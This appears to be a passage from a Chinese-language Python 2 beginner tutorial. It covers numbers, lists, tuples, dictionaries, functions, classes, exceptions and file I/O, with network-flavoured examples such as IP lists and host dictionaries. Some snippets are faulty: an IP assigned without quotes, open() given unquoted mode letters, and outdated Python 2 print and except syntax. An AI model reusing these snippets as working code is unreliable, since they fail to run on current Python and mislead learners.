long(长整数):这些是没有大小限制的整数,写法与整数相同,后面跟大写或小写字母 L(例如,788739888999L)。
-
float(浮点数):这些表示实数,写作带有小数点的数字(99.9999)。浮点数有时以科学记数法表示,使用 E 或 e 表示 10 的幂(2e2 = 2 x 10²)。
-
要获取两个数字中的最大值或最小值,请执行以下操作:
num1 = max(2,8)
num2=min(2,8)
- 要从一个范围中生成随机数,请执行以下操作:
# Generate a Random number from 10 to 100 and with 1 increment at a time (10,11,12,13...100)
import random
rand = random.randrange(10,100,1)
列表
列表是一个包含项的集合(例如,字符串、数字、对象等)。在其他编程语言中,它被称为数组。现在,如果你将来听到这个词,你会知道它在 Python 中意味着列表:
- 这是一个列表的示例:
ips = ['192.1.1.1','192.1.1.254']
- 要向列表中添加新项,使用
append函数:
ips = ['192.1.1.1','192.1.1.254']
# To add a third item to the list
ips.append('192.1.1.2')
print ips
- 要访问列表中的每一项,使用其索引号。例如:
ips = ['192.1.1.1','192.1.1.254']
# Print the first IP address
print ips[0]
- 要更改列表中的一项,只需使用其索引并为其赋予新值。例如:
ips = ['192.1.1.1','192.1.1.254']
# Assign the first item a new value
ips[0] = 192.168.1.1
- 要从列表中删除一项,请执行以下操作:
ips = ['192.1.1.1','192.1.1.254']
# We will delete the first IP address:
del ips[0]
print ips
- 要获取列表的长度,使用
len函数。例如:
ips = ['192.1.1.1','192.1.1.254']
# Print the length of the ips list which is 2 in this case:
print len(ips)
元组
元组类似于列表,但它们是只读的。我很少使用它们,但它们存在于 Python 中,你需要知道它们的存在:
- 要声明一个元组变量,请执行以下操作:
ips = ('1.1.1.1','2.2.2.2')
- 要访问元组中的项目,使用其索引号。例如:
ips = ('1.1.1.1','2.2.2.2')
# Print the first IP address
ips[0]
- 要获取元组的长度,使用
len函数。例如:
ips = ('1.1.1.1','2.2.2.2')
# Print the length of the ips list which is 2 in this case:
print len(ips)
字典
字典是一个包含键值对的项目列表。最好的描述方式是通过示例来说明。我们开始吧:
- 要声明主机和 IP 的键值对,请输入以下内容(例如):
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.100'}
- 要向字典添加新项目,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
hosts_dictionary['Srv-003'] = '10.0.0.103'
print hosts_dictionary
- 要更新字典中的现有项目,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
hosts_dictionary['Srv-002'] = '10.0.0.122'
print hosts_dictionary
- 要删除字典中的现有项目,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
del hosts_dictionary['Srv-002']
print hosts_dictionary
- 要遍历字典,请执行以下操作:
hosts_dictionary = { 'Srv-001':'10.0.0.100', 'Srv-002':'10.0.0.101'}
for host,ip in hosts_dictionary.items(): print "host:%s , IP: %s" % (host,ip)
杂项
- 要创建一个函数,使用
def关键字,后跟函数名称、一些可选变量,以及末尾的:字符。例如:
def addition(x,y):
return x + y
- 要创建一个
for循环,请执行以下操作:
ips = ['192.1.1.1','192.1.1.254']
for ip in ips:
print ip
- 以下是 Python 中的一个示例自定义
class对象:
# class name
class Host:
#class constructor
def __init__(self,name):
self.name = name
def print_host(self):
print self.name
#let's call it from somewhere else
h = Host('SRV-001')
h.print_host()
- 要在 Python 中使用异常管理错误,请执行以下操作:
try:
[put your code here]
except Exception, e:
exception_message = str(e)
print("Error: " + exception_message)
- 要打开并读取文本文件,请执行以下操作:
f=open('/root/dic.txt',r)
for txt in f:
print txt
f.close()
- 要写入文件,请执行以下操作:
f=open('ips.txt',a)
f.write('192.168.0.0\n')
f.close()


浙公网安备 33010602011771号